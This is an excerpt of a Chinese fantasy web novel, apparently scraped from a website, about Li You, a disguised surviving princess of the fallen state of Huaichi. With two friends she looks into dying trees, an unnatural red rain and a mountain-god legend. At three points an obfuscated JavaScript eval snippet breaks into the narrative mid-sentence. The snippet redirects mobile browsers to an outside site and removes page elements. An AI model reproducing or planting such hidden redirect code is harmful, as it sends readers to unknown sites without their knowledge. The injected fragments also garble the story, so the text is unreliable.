《与魈书契山河债》 1. 前事 淮池这弹丸小国,周围被四座大山捧得严严实实。 东边咸湿海风撞上巍峨山壁,化作满城雨雾时,街边茶摊照例会聊起国主家那档子事。 "要论皮相,少君当得‘玉树临风’四字。”说书人蘸着茶汤在桌上勾画,“可这位爷偏爱惹事——可知那举国齐庆的祭典?老国主刚捧出传了十八代的青玉冠,您猜怎么着?” 茶客们脖子抻得老长。 “少君当场抄起玉冠往地上一掷,生生裂成八瓣!”惊堂木啪地一拍,“倒不是发脾气,只见他笑盈盈道:‘父君,孩儿手滑。’啧啧啧,光这一句话,全场人都不敢吱声。您瞧见国主脸色没?活像吞了整片东海!” “哎哟——”一片唏嘘。 “这么不懂事儿,国主这不是为了他好嘛!怎的这是不喜这片地儿啊,心中哪还有咱哟!” “何止呐,连礼貌都没有!” “哎,然后呢然后呢?” …… 坊间传闻里,男人们啐他没出息,女人们怜自己失去了当俊俏国主的妾的机会。 山巅的祭天台空落落悬着半幅褪色经幡,此国在不久后因一场战争而殒落,皇族在大火里烧了个精光。 谁都以为这位叛逆的少年没爹没娘的早成了小罐子了,然而谁知,他不仅没死,而且还是个女的,不仅是个女的,而且现在正在砍柴。 幺儿,接着。”老鸣一甩他黢黑的手臂,一捆柴便稳稳地落在身后的少年肩上。 老鸣正是战火中救了她的老头。 黎宥的脸上满是汗。太阳已经高高挂在树梢间了,柴才砍了一半。她束紧衣袖和裤腿,脚下稳稳地走着,被踩的枯枝落叶发出“呲啦呲啦”的声响,像极了鸡蛋倒进油锅里的声音。 没走两步,前面的老鸣忽然停了下来,用嘶哑的声音唤道:“歇会儿歇会儿,娘的今天这太阳这么毒。” 黎宥也驻足,她年方二十,这点路累不着她。 “是热。”她还是应了一句,因为觉得今天的太阳的确能毒死娘。 “热就对了。只有热,才能体现一个人的意志,只有累,才能锻炼一个人的体魄。幺儿,你只要克服了这些小困难,那你将来啊,必成大事。” 黎宥才听了头四个字就开始心情复杂。 首先呢幺儿不是她的名字,老头是会发“宥”这个音的,叫幺儿纯粹为了好玩儿。其次,老头又要开始展现他的文采了,每次无论讲什么都能给他扯到天南地北去,然后再扯到黎宥身上来。黎宥觉得这些年来的耳屎都能盖房子了。 老鸣还在说,黎宥没心听,起身往山上走去。依云山是淮池的四座大山之一,不过它并没有“依云”。 不知道是不是错觉,黎宥总感觉这里的一草一木有些变样了。从方才一进山,怪怪的感觉就挥之不去。 她有点在意。八年前让她一朝间失去一切的战火,虽然已经记忆淡化,但却叫她习惯谨慎对待周围所有。黎宥将头发拢到后脑高高束起,三两步爬上一棵高树,凝神打量这片苍郁。 稀疏了?密集了? 不对,不对。她扶额,现在近乎正午,没生瘴气,而且日光很烈……黎宥想。 ……暗,好像感觉颜色变暗了,不如以前葱绿了。 黎宥从树上一跃而下,她能看出来的,就只有这点。她在丛林间绕了一圈,发现周围一片地方都如此。 随即她找了一片浅丛靠一颗槐树坐下,静静地思考着。 淮池四山崔嵬,树林里古木参天,世世代代滋养这里的人,陪伴他们的柴米油盐,走过数个日月朝夕。 总不至于只是多砍了它点儿柴就要了这大山的魂吧?那有够吝啬的,她心想。可如若真是这样,她也无能为力。拯救家国虽乃大业,但给四座山种满树也并非易事。 她轻轻叹了一口气,抬手亲抚挡在眼前的一枝枝叉。 枝叉身上弯曲缠绕着一条藤蔓,绵延着一直紧紧缠到它的主枝干。藤蔓汲取灌木的养分,使得灌木看起来瘦巴巴的。 黎宥把放空的视线挪到眼前,她看见有几片叶子被无情地箍住,便皱了皱眉,提起手指小心翼翼地捏着尖儿,想把它扒拉出来。 “幺儿?幺儿!砍柴咯!”这莫名一吼,吓得黎宥手一抖,“咂”的一声,可怜的叶子直接拦腰断掉。 她看着手上原本翠绿的叶子以异常快的速度枯萎变黄,内心一股恼火瞬间蔓延,刚想扭头喝一嘴老鸣,谁知,心脏忽然一阵悸动,开始刺痛起来。还没等她来得及做出反应,又是头一晕,黎宥直接倒在地上,不省人事。 …… …… “小宥,你看你爹爹,看他这身大龙袍,看他坐的大龙椅。啧啧啧,将来全都是你的。将来啊,你就是一整个国家的老大了,想……”一个男人挤眉弄眼道。 “我不要。要是你想做我可以和爹爹讲。” “唉,有些事情,我们是做不到的。” “你们做不到的事情我也不做。” …… “小宥,当国主可要比练功简单多了。所有人都爱你,你也爱这个国家,以后啊,你想拥有的,马上就能得到,遇到难题了,也马上就有人帮你……”一个温柔的女人笑里含泪道。 “那为何你们不当?” 殿下没有等到回答,那些封存在她记忆里的不解、不堪和不甘就快只剩一片嗡鸣。 …… 昏过去之后外界发生了什么黎宥全然不知,只知道自己挣扎在一片虚无中,浓烈的黑暗与惨白的黄昏交叠,发不出声音,感受不到任何事物存在。 不知这迷茫持续了多久,黎宥才终于恢复了意识。 醒来之前她隐约听到两个人在谈话的声音,声音粗犷又唠叨的那位肯定是老鸣,那与他共谈的——应该说是听他叨叨的,是谁?听起来像是个少年……想着,她便想爬起来看看是哪位大师,竟然能受的了老鸣。 谁又知道眼皮都还没抬起来耳边先炸了个雷:“黎宥!你醒了?!我还以为你死了呢……” 一瞬间黎宥就收回了刚才的想法。 “去你的你才死了呢,别瞎说。你给我滚过来别吵吵她休息,听到没有?!” “嘿,你还瞎子吃芥末,瞪上眼了?我刚刚就是看见他眼皮子动了。”少年理直气壮地对老鸣喷口水,丝毫不礼让,“哎你别扯我衣服,我再喊她一声,就一声!” 话音刚落,就听得“砰”的一声,黎宥感觉自己在剧烈摇晃。一看是老鸣非揪着少年的衣服不放,少年又非要再喊自己一声,然后,衣服烂了,人也摔了,撞她床沿上了。 正疯狂脑补着这场景,耳边突然又一声炸雷:“你个老不死的,陪我衣服!!!” 简直有病。黎宥忍无可忍,拼尽全力喊了一句:“庄正!闭上你的臭嘴!” 四周刹时鸦雀无声。黎宥这才满意地睁开双眼,因着心痛的后怕还在,她只能双手撑着榻,深呼吸着小心翼翼地起来,不敢贸然有什么大动作。 “诈尸了老鸣……”身边的少年喃喃道。 “幺儿?你醒了?有没有感觉不舒服?”老鸣见黎宥起了来,放低了声音讲话,忙过来扶她。 她简直受宠若惊。怎么着,原来她醒了才算做病人,睡着时就不把她当人了?罢了罢了,毕竟老鸣难得这么轻声细语。 老鸣扶着她这个病弱,双眼炯炯有神,两颗龅牙也聚精会神地叉出来。身后,庄正好奇地探着头打量——正是那位擅长炸雷的少年,他是淮池最热闹的酒楼“汇庆坊”老板的儿子。 他们能玩到一块,全靠老鸣。 老鸣为了能在汇庆坊长期蹭饭,竟在黎宥毫不知情之下答应老板牛叔,让她无偿教庄正诗书,故他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420081|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎宥来到这儿起就与她是相识。因为一次意外,故也知晓她的女子身份,常帮着她瞒老鸣。 现在他左肩的袖子冒着线头,显然是方才那一出的成果。 黎宥揉了揉眉心,道:“真是过不得一天清净日子。” 老鸣闻言,惭愧地收起他的两颗龅牙,摸索着从身上掏出一个纸皮袋子,递到黎宥面前,说:“这儿有一方药。一个大夫给你把了脉,说,哎,你也没啥大碍,大概是没休息好,加之今儿天气热得出奇,头昏晕倒不是啥稀奇事儿。甭担心,啊,你再晕一次我还是给你拖回来,再晕以后就不捎你去砍柴了。” 这是什么屁话,黎宥心想。天气热不热再说,她,年纪轻轻,正值年少,哪能是说倒就倒的。再则是她心有不祥,这忽如其来的意外来的有些蹊跷,莫非真是这林子出了什么妖魔鬼怪的变故?她暂且不敢将这件事说出去,免得引起杞人忧天。 不过如若仅仅因为热而晕了也好,她不希望是山的问题,更不希望以后所有人都会受影响。 这时庄正挤上前来,指着那一堆药材笑眯眯道:“我给你找的大夫,就是咱俩常去的那条后街,养了十只鸟全给拴地上的那个大夫,他今天破天荒地把那十只鸟给放了,我觉得他改邪归正了,就立马给你请了来。”他用手指拨拨那药,高兴得仿佛那药是他开的,“我一会儿让老鸣给你煲,你休息。” 不出意外老鸣给了他一掌:“煲煲煲,我剥了你个兔崽子的皮。” 黎宥盯着那些不知名的药出神。 现在外面的天已经完全被墨色浸染,老鸣的屋子在巷尾巴,山麓边,没有商市行人的喧闹,每到有月亮的夜晚,就能看到清澈的星点,柔和的月光和屋里的烛焰交相辉映。她低头摁摁自己的心脏,对老鸣说:“鸣大人,煲药。” 老鸣睨了她一眼,道:“不争气。” 老鸣一走开,庄正就直接坐到榻上,开门见山道:“你快说说,你今天是怎么回事?我打死不相信你是累晕热晕的。嘶……你该不会背着我偷偷练了什么神功吧?这可不厚道啊。” 黎宥“嘁”了一声:“你就编吧,把我编成什么上古真神你就满意了。我不知道,我说老鸣突然喊我一嗓子,我不经吓,就这么晕了,你会信吗?” 庄正道:“骗鬼呢?车冲你撞过来你都能拉上车前面的狗再走,你能被那一嗓子吓到?你说实话,是不是还有什么没敢说?” “类似上山走了多少步这样的也要说?” “说,当然要说,知道你走了多少步,我便知道你是在哪儿晕倒的,咱再去一趟,说不定能擒个妖怪,回来就成江湖传说了。你别嫌晕倒是啥丢脸事啊,弟兄我定帮你查个水落石出。” 黎宥别过头去看窗外,又摇摇头说:“倒是你别想太多了,我没事,你还是早些回去吧,别让牛叔担心了。” “这么扫兴。”庄正站起来拍拍衣襟道,“那我走了,记得喝药。” 最后一阵风从窗边掠过,屋子才终于安静下来,只剩煲药的砂锅在乒乓作响。老鸣守在火炉前,双眼放空不知在想什么。柴火在他迷蒙的双眼里肆意摇曳,好像能透过它的律动窥视老人的过去。 八年了,黎宥跟了他八年,他便收留了黎宥八年。 缘分的事情,有时候还真是说不清是天意还是人为,放到老鸣和黎宥身上也这么说。她心里有道梗,就是总觉得老鸣知道些什么,关于她的身世,或者是这片土地,或者是这八年。 有些事情的发生连想想都觉得是不可思议的,像是只有用“算计”二字才说得通。可是现在这天下好不容易太平,换做是谁都不愿意老把事情往计谋上揣测,过度的怀疑是对自己这些年来的所见所闻的嘲讽。 还是再等等吧,如果说摘了叶子会心脏痛是第一道坎,那应该还会有第二道坎第三道坎,如此,应该能揭晓些什么出来。 2. 红雨 翌日清早,老鸣顶着俩大黑眼圈子,有气无力地叫黎宥喝药。 看来他这一晚上真是契而不舍,现在累得话都不会讲了,翻着白眼监督黎宥喝药,就差张开嘴流口水了。 黎宥昨夜也没怎么睡,心思都花在想这件事上,虽知蒙头苦想是无用功,但是好像有什么东西一直扯着她的脑筋叫她非想通透不可。 想了一脑子乱麻,最后黎宥还是觉得得再亲自上趟山。她知道老鸣肯定不允许,所以老鸣熬了一晚上给他煮药她一点也不心疼,因为老鸣犯困的时候你要杀人放火他都呲着大牙点头。 这是个好时机。 于是黎宥开始作法。她先将老鸣哄着躺下,然后留一张“我要去集市”的字条在枕边,再然后,悄悄溜走。 咚咚咚。 谁? 门闩一拉开,就见庄正立在门外。 庄正笑道:“哎,我们果然有默契啊黎兄,这是要到哪儿去啊?” 坏我好事?黎宥尴尬地对他笑笑,她不觉得他们有什么默契,她只觉得庄正像块会说话的狗皮膏药:“集市,你要替我去给老鸣买一个新的尿壶吗?” “这不合适,我哪知道老鸣喜欢什么样的壶,哈哈哈哈。” “那你回去吧,我今天没空跟你闲聊。” 庄正闻言忙摆手,道:“别这么着急赶我走啊黎兄。”他把手拢在一旁,偷摸着说,“嘘!我来定有来的道理。山上的事儿重要还是尿壶重要?” 黎宥现在一听“山”字就神经敏感,这小子又耍什么阴招?她心想。 “尿壶重要。”黎宥翻了个白眼,这趟门她是非出不可。 “且慢!”庄正见状忙举起手拦住黎宥的脚步,软的不行那就……那就来更软的,“求你了黎公子,就让我跟你聊会儿吧……”庄正硬着头皮说话,“尿壶我家还有新的,晚上我亲自给您送过来,您看这样行吗?”话还没说完,庄正自己先忍不住笑了出来。 黎宥想把这人扔山里去喂狗熊。她丝毫不让,继续挖苦道:“行,那你进屋,先跟老鸣聊会儿。他亲自跟我说了要东市的尿壶,我得孝敬他。” “黎宥!”庄正忽然敛容,直呼黎宥姓名,“你以为我真不知道你想去干什么吗?我知道,你一定会上山去,你肯定想回到那里去看看究竟是怎么回事。”他了叹口气,声音越说越小,“昨天大夫给你开药时说这药得煮一晚上,我就猜到你应该会趁老鸣睡沉了自己跑上山去。再就是吧……刚巧,我今早来这的时候不小心看到老鸣撒尿了……我寻思尿壶也没坏啊,你这,说去买尿壶,大概也许可能,是借口。所以,哈哈哈,您看,要不咱们今天先歇着?”庄正愣是用一句话的功夫就把自己变成了一条低眉顺眼的狗,方才半点要说服人的气势都拿不出来。 这话里信息量过于庞大,一时间,黎宥不知该做出如何反应。意思是,他今天一大早就来了这里,想要蹲我出门?她心里冷笑,心道这人是吃饱了撑的吧。 她本能地回了一句:“你为什么非要觉得那山有问题?”她几乎都想直接说她就是累得晕倒了得了。这人真是,多是非。 稍微平复了心情,她搔了搔下巴,这下好了,上山今天肯定是上不成了。 黎宥心里一边骂自己窝囊一边想,没事儿,不就是计谋让人识破了吗,用老鸣的话说,这简直就是一个锻炼人智略好机会啊,吃一垫长一智! 见庄正被她这句问得找不着北,她好气又好笑。 于是,此窝囊悄摸退回刚才迈出的那一步,故作无事道:“算了,歇着也好,我大病初愈,歇着合适。” 这大清早,真是闹得人心不得安宁,谁能想到这年头想上个山都要给自己找个贼名儿呢? 听罢,庄正这才粲然一笑,从墙后拽出一个人,道:“好啊,看看谁来了?” 黎宥眼前晃过一道青,一个矮庄正半头的孩子被庄正扯得东倒西歪。待那少年稳稳站住,黎宥才认出来:“金悠?!怎么你也在这儿?庄正你又想干什么?” 庄正笑得更险,对金悠说:“你看,她都不想你来就你非要来。” 黎宥心里有不好的感觉。且不说金悠为什么在这,但他这下显然是被庄正带来的,这么说,金悠大可能也知道了他在山上晕倒这件事了?才一晚上,知道这件事的人就又多了一个。 她心里有股无名火静静燃着,虽说这几位都是关系挺好的友人,大家平日里也不忌讳把谁的糗事倒出来笑话,但是这件事,黎宥不想让它成为什么家常便饭。 她本想一笔带过算了,自己要是有空再细细调查。可坏就坏在自己晕过去了,不知那阵妖风把庄正给吹来了,事情就不是她说一不二的了。 “我念着你呐黎兄。你也知道我这人从小就喜欢疑神疑鬼,所以昨夜我就想,这件事绝没那么简单。不巧,小金悠昨天来我家作客,他见我愁眉苦脸,便想替我排忧解难。你的事我简单和他说了一遍,今日此行,乃为黎兄出谋划策。”庄正自豪道。 忽扯。话说得越轻巧,黎宥越恼,偏偏庄正做的又不完全是坏事。门外风和日丽鸟语花香的,此情此景,有种谁生是非谁有病的感觉。 八年苟活经验,使得黎宥早就学会了忍耐,那行,此次就以退为进,看看他们要搞些什么幺蛾子。 黎宥撤身让他们进屋。 屋子在山阴之下,里头没点灯,老鸣和她不喜开窗,庄正进门走没俩步就撞上了堆满杂物的案几,碰掉了一把锤子,把桌下的尿壶砸的稀碎。 杂乱声打开了老鸣的嗓子,混混沌沌地骂了一堆不知什么。 “你以后出门前能不能先看看日历?”黎宥苦道,摇头把台上的蜡烛点上。 几经折腾,几人终于在一方陋室里找到了落脚之地。 庄正正襟危坐,道:“昨天我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420082|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问你的,走了多少步上山,我后来想了想,还是觉得这个问题很有必要知道答案。因为……” “打住。”黎宥打断他,“有必要,但我也真不知道。你要是实在抓着它不放,我可以给你指指我走的哪条路。” 庄正若有所思地点点头,又接着说:“既然如此,我们就换个思路。黎兄,你回想一下,你晕倒之前有没有发现什么奇怪的现象,或者奇怪的事?” 黎宥一听,心想坏了,怎么全让这小子说中了,还真有奇怪的现象,也真有奇怪的事。既然聊都聊上了,什么都不说也没意思,她索性把在山上的经历都跟他们讲了一通,但,除了昏迷时的梦。 二人听后,皆面露惊疑。此事非是几人杞人忧天,他们是打心底坚信,以黎宥对反常事物的觉察力,这种看似平常的事情绝对有不妥。 不出所料,没人有头绪。庄正不解地挠头,这下他也说不出什么靠谱的话。 黎宥偏过头出神,却察觉到外边似乎一直有犬吠声。声音很小,但却一直叫个不停,听着好像叫的还挺焦急。 这狗,就算遇着险事,邻里也应该帮上忙了。 她微微拧起眉头,想再仔细听听,一旁的庄正忽然拍桌大叫:“快!快看天……山那边!怎么是红色的?” 这一喊强行断掉黎宥的思绪。顾不上狗叫不叫了,她猛把头一甩,顺着庄正指的方向望。 只见窗的一侧像燃着了一般,浮着令人窒息的红晕。 黎宥眉拧得更紧,等她爬上天台时,看见山顶已经完全暗了下去,大雨瓢泼而下,瞬间将碧绿的山洗刷成可怖的鸦青色,同天上的胭脂云彼此缠绕,活像冶容的女妖怪。 “老天,这是要大难临头啊,一祸未完又一祸。”庄正跟着踉踉跄跄爬上来,几乎要被眼前这番毛骨悚然的景象夺去了魂。 雷鸣电闪很快催动了全城百姓家,收衣服的收衣服,装稻谷的装稻谷。婴孩的啼哭声赛雨声,谁承想此处上一瞬还是万里无云的良辰美景? 雨水无情地砸了下来。 干看着天也是一无所获,几人只好狼狈地回到屋内。 烛光在夹着雨点的风中摇曳不停,黎宥只好去关了窗,屋里更暗了,莫名有种诡怪的气氛。 就在沉闷即将席卷这间小屋之时,方才一直默不作声的金悠打破了僵局:“黎兄,有一事不知当讲不当讲。” 黎宥顿道:“你想到什么了?” 金悠交起手臂,一手捏着下巴,盯着桌面的烛光说:“我不能确定。但是我先前听一位老者讲,约为五百年前,这里曾有妖怪放大火烧山,连续烧了几个日夜,把山顶得天都照得通红。而当时的天空也是如此的下着大雨,却怎么也浇不灭这火。老人家说这是妖火,天下的雨是灭不了的。”金悠缓慢地看向黎宥,“我想,或许是那妖怪又活过来了,就算不是,也应该预示着要有不好的事发生。” 3. 山神 黎宥闻言不禁提起了兴趣。 民间传闻她没少听,但是直接关于淮池的故事倒是第一次见闻。 庄正更积极,他右手握拳一拍左手道:“这就解释的通了,我就说这山里必有猫腻。金悠,这故事你是从哪里听来的,有关淮池的历史来之不易啊,等我庄正把那妖怪捉拿归案了,定赏你一屋子金银珠宝。” “阿正哥,妖怪哪能炼出金银珠宝?”金悠一脸疑惑地反问他,他窘迫地用尿急来结束话题。 黎宥像是抓住了什么把柄,继续追问道:“金悠,这些都是谁告诉你的?你还知道什么?” 金悠抿了抿唇作回忆状,思索了一会儿,道:“是一个看起来像疯子的老人告诉我的。已经是一年之前了,那时,我看他穿的很不堪,当时手里正好有烧饼,就分了他一个。结果他拿了烧饼还非拉着我不放,把我拉到一棵没人迹的树下同我讲的,弄得特别神秘。” 黎宥不由得笑了出来,没想到过程竟然如此荒唐。这般看来,这所谓“历史”的真实性有待提高啊,权当故事听听好了。 她又问:“你说那妖火雨水都浇不灭,那……后来呢,它是怎么熄的?” “这个……他说是先帝把妖怪收服了,那火就自然灭了。他还说,先帝是因为这个大功,人们才举他做淮国的帝君。听着的确有几分道理,不过可惜战火把史书都烧了个干净,先帝什么的都已经无从考证了。” “听着真扯。” 金悠却歪了歪头反驳道:“非也。虽说,我一开始也把这些当胡言乱语看。但是,不知黎兄是否有耳闻‘山神’一说?这个相比于方才所说倒更加可信。”他正了正身姿继续说,“前些年我刚到这里来,闲着无事时就会到书坊去翻些书看,‘山神’的传说就是我从一部记载着淮国异事的书里看来的。之所以说更可信,是因为那书里记述的事物,绝大多数都是真实存在和发生过的,说它是史书也不为过了。 “据书里所载,‘山神’一概念出现的时间约为五百年前,人们为了镇压山中邪秽之物,求得神仙化身于凌云山中,同时亦守护着淮池。似乎……能和你说的山上的经历,以及今日奇怪的雨天有所关联。” “嗯……”黎宥敛容,金悠说的版本和她小时候听的版本完全不一样。 父亲母亲还在、王府还热闹时,她常能听到长辈们谈论先帝的丰功伟绩,具体是何功何业,倒是不太记得清了。但无论如何都不是把妖怪收服才立得国君之位,就是连妖魔鬼怪这些字眼也很少出现在她的记忆里,更别说神仙之类。 这么想来……黎宥忽然发现了一个奇怪的点。 沦落民间后,她才有跟着大伙偶尔给什么什么神仙烧香的习惯,才知道别国不论朝廷民间都有祭祀拜神之类的习俗。可是仔细想想,她在府里时,哪有烧过什么香,拜过什么神?就算是祭祀先祖,大家也都是刻意避着她似的,从不让她涉猎这方面的识务。 看黎宥发起了呆,金悠小心翼翼地在她眼前晃了晃手,道:“黎兄,你还好吗?是不是我说的太乱了?” 黎宥回过神,脸上无光,反而添了不可多得的茫然。 “没有。”她说。 一边是府邸里官臣口口相传的权威说法,一边是民间所记述的传说,到底该选择相信哪一方?民间传闻真假难辨,然而如今府邸已毁于一旦,又何有权威可言? 庄正如厕归来,想必是听到了他们的只言片语,便轮到他打破沉默:“各位,刚才你们在说的是‘山神’么?” “你也知道?”黎宥瞪大了眼。 “不算。我只是想起了我娘亲,她生前常常会进山。她曾说,山里有寺庙,拜的是各路神仙。我跟着她去过一回,不过是很小的时候了,只记得,寺庙很大,却没什么香火。众神之中,摆在最中央的一座,娘亲说他是守护大山的。再多的我也不知道了。”提起他的母亲,庄正总是不由自主的温柔。 “这么说,只有我对此一窍不通了?”黎宥无奈地笑,内心深处已下意识选择了相信鬼神的存在。 接下来,则必然是顺着这条路走它一走了,反正横竖都要对天拜两拜。 天边还是火光烨烨般的红,雨也淅沥下着。 万幸很快,雨就停了,红云褪去,晴天“久违”回到人们身边,太阳从凌云山走到了念云山。 这天后的数日,淮池并无其他怪事发生。老鸣对庄正的拜访以及尿壶碎了的事情一无所知,上山砍柴采药照旧,就是不准许黎宥上山之后离开他半步。 她试过各种“趁其不备”、“出其不意”,谁知道那老头的眼睛出乎意料的精,一次都没让她逃掉。 没事时,黎宥开始三天两头往书坊书摊跑,无非是想找些东西,消遣消遣矛盾带来的困惑。 不过,她并没有得到什么有效的信息,不论是书坊还是街摊子,放眼望去全是无聊的市井绯闻。她不理解酣饱的笔墨怎么能写出如此不堪的东西。 浪费了一天接一天,破烂木门后面才终于迎来两位不速之客。 两人都收拾得颇为整齐正式,乍一看还挺像是正经书生。 老鸣从黎宥和门缝之间挤了出来,饶有兴趣地打量着两位小兄弟,咧着嘴道:“哎哟喂,这么久没见,两位,身份都上一阶啦?稀罕打扮呐,有何……” “咳咳。”庄正掐断老鸣的口水,故作姿态道,“鸣爷爷,鄙人受邀三日后到还青城赵氏府参加赏灯宴,特地前来邀请好友一同前去。”说罢,还从兜里小心翼翼地拿出一张请柬,请柬上,白纸黑墨写着邀请内容,金粉描成几盏花灯雀跃其间,“还请您准许。” 老鸣侧着眼睛看请柬,一脸不可置信,嘴里“这这这”地嘟囔着,想必是不敢相信,区区一个酒楼老板的儿子竟然也能到这种风雅之地吃上饭了。 “这事儿可不能黄了,您想,这可是赵家,万一咱要是让哪位贵人相中了……” 庄正也不急,摇头晃脑地哼着小曲儿,眼神不时谄媚地瞥向黎宥。 黎宥有点不明所以,但还是用手肘了一下老鸣,见老鸣讶异地看他,她道:“我还能走丢不成?放心。” 老鸣道:“十日之内不回来别进这个家门。”并用两颗严肃的龅牙警告他。 “成。衣物我已经给你备好了一份,我老爹已经让人备了车马,即刻出发吧。” 不知为何,这什么赏灯宴黎宥一点兴趣也没有,她却还是屁颠屁颠跟着庄正说服老鸣。 告别了老鸣,带着疑惑,竟不紧不慢绕着凌云山脚走了半日。 黄昏垂幕之时,一行人才到挽云山脚下。 “能说没有,我都请你吃两顿了。”黎宥道。 庄正塞下手里最后一口叉烧包,鬼鬼祟祟地朝四周张望。 一般来说靠近山边的地方相对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420083|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街道中心会冷清一些,但凌云和挽云山之间间断处有出海口,为了方便出海谋生存,有相当一部分人家住到了两山间,硬生生走出了一条路来。有人为了吃海鲜慕名远来,这里便染上了烟火气。 “真是去赏灯,骗你干嘛。”庄正认真地说。 “金悠。”或许是他的谎话说得毫无技巧,黎宥微笑着看向金悠。 “真是去赏……”话没说完,庄正便急忙插嘴,“哎哎行了别聊了,人家船夫还在前边等着呢。走吧走吧。” 庄正二话不说便拉着他们赶路。 虽然不知道发生了什么突变,但黎宥还是立马开始警觉,环视周围。 他们站在入山口处,马路两旁少长云集,灯火辉煌,人人皆各得其所。路口两侧有自然生长的两棵老榕树,恰到好处地形成了一道门。 庄正带着他们往“门”里走去,小路越往里越荒芜,偶尔有几间简陋的房屋和几个渔民。 直到周围杳无人迹。 这时庄正才停下脚步,左右张望,深吸了一口气,道;“刚才人多口杂,我老觉得有人在偷看我。不论如何,在人群里久留都不是好事。”他翻下行囊,从里面抽出另一个包裹递给黎宥,又抽出一套布团,抖开,是一件普通的深色衣裳,“愣着干嘛,转过去,我换衣服。” 黎宥拉着脸甩开手,嗤道:“行啊,亏我难得没怀疑你,贼胆真大。” “那是你的问题,还青城根本就不是这个方向的,也用不着船夫。” 说实话黎宥还挺期待所谓的赏灯宴的,这玩意她只在小时候的皇府里见过,也不知道这什么“赵氏”的灯和家里的一不一样。 算了,都这时候了想这些也是无谓。想来都走进凌云山了,此行必然是和寻找“山神”没差了。 趁着身后衣服的摩擦声未停,黎宥开始观察周围。 脚下是粗细不一的沙砾石块,青苔和草蕨蔓延。走了一天,此时天色以肉眼可见的速度暗下来,蟋蟀青蛙什么的叫得十分肆意,给整片山林笼上了一层肃杀。 夜间视力欠佳,当务之急是找个地方休息。 三人选了一棵老榕树,黎宥爬上一根视野开阔的树枝傍着枝干休息,其余两人睡地上。 次日清晨,黎宥率先醒来,往下看到两人还活着没被狼叼走,便巡视起四周。 此时他们还在山脚处,植木尚不多。 金悠第二醒来,二话不说就从包里掏出几张纸摊在黎宥面前。 纸中央画着几个涂黑的圈,应该代表山顶,四周遍布许多小点,小点旁边密密麻麻写着注脚。她问金悠:“这是,你自己画的?” 金悠点点头,指着纸上的笔迹说:“那天我回头又找了那本讲关于山神的书,和着其他书一起,勉强把凌云山里的一些地点还原了出来。现在我们在这儿,”他一指图纸边上画着的两棵树,“也许能照着图走。” 黎宥心里暗惊,这两人是真给力啊,相比之下,她就像个凑数的。 照图纸看,“山神”的位置在森林深处,几乎可以说没人涉猎过。且不说位置刁钻,就连必经的路上都有危险种种——狼群、熊这些野兽少不了,说不定还有不知名的怪物。 黎宥凝眉,不禁有些踌躇,盯着远方某一处放空。 忽然,一抹黑闯进视野,她立马警觉,眼睛死死扣住那一点不放,蹑手蹑脚小心翼翼地挪近。 4. 坠崖 眼前,是一棵半人高的矮松。 黎宥盯着眼前这棵半人高的矮松,忽然觉得后脖颈发凉。这树像被抽干了魂,浑身惨败,枝叶蜷缩如同锈钉,在满山苍翠中突兀得扎眼。 黎宥纳闷,但她确定,这棵树,乃至她的周围,都没藏有人或者动物。 毫无疑问,这棵树死了,而且似乎还是一瞬间的事。她绝不会看错,矮松的位置,就是突然之间变色的。 黎宥心里咯噔一下,这情景似曾相识啊。她晕倒那天,不小心撕破的那片叶子,不也是像这样,在一瞬间就枯萎了吗? 这趟总算有个“彩头”。黎宥将此告知尾随而来的两人:“你们看这死相,”她用匕首挑起一片松针,针尖簌簌碎成渣子,“跟上回我撕坏的那片叶子一个德行。” 庄正嚼着草根凑过来:“我说黎大小姐,您这是打算给老树开追悼会呢?”话虽轻佻,眼神却钉在树根处几道暗红纹路上。 周围的植物皆是好好的,就这棵矮松弄了出莫名其妙来。左右上下皆观察了个遍,都再没有任何迹象发生,为了不浪费太多时间,只好先走了。 此时日头正高,三人系好裤腿,扎好袖口,往林子钻去。 黎宥拿过金悠的图纸,领头往前走。 庄正边走边嘀咕这深山老林连个鸟屎都不见,金悠倒是走得稳当,活像个书架子似的,怀里揣着罗盘,连根头发丝都服服帖帖。 接下来便要入深山,就是原始森林了,几乎没人涉足过。这就意味着他们要在一个完全陌生的地方走,危险和未知永远束缚着下一步。 晌午遇见个拾柴老老老翁,倒像是从《山鬼图》里走出来的。 黎宥上前询问离这儿最近有什么地方,老人说山腰有座义仓,只是早年间闹过邪祟,如今连耗子都绕着走。说罢,猛地拉住黎宥的手臂,装神弄鬼道:“后生人,莫去招惹山魈。” 她先是一诧,而后警惕地点头道:“多谢老伯,我们就是随便逛逛。” 告别时黎宥给他递水囊,瞧见他指甲缝里青苔斑驳,像是常年侍弄草药的。这细节在她舌尖转了三圈,到底没问出口。 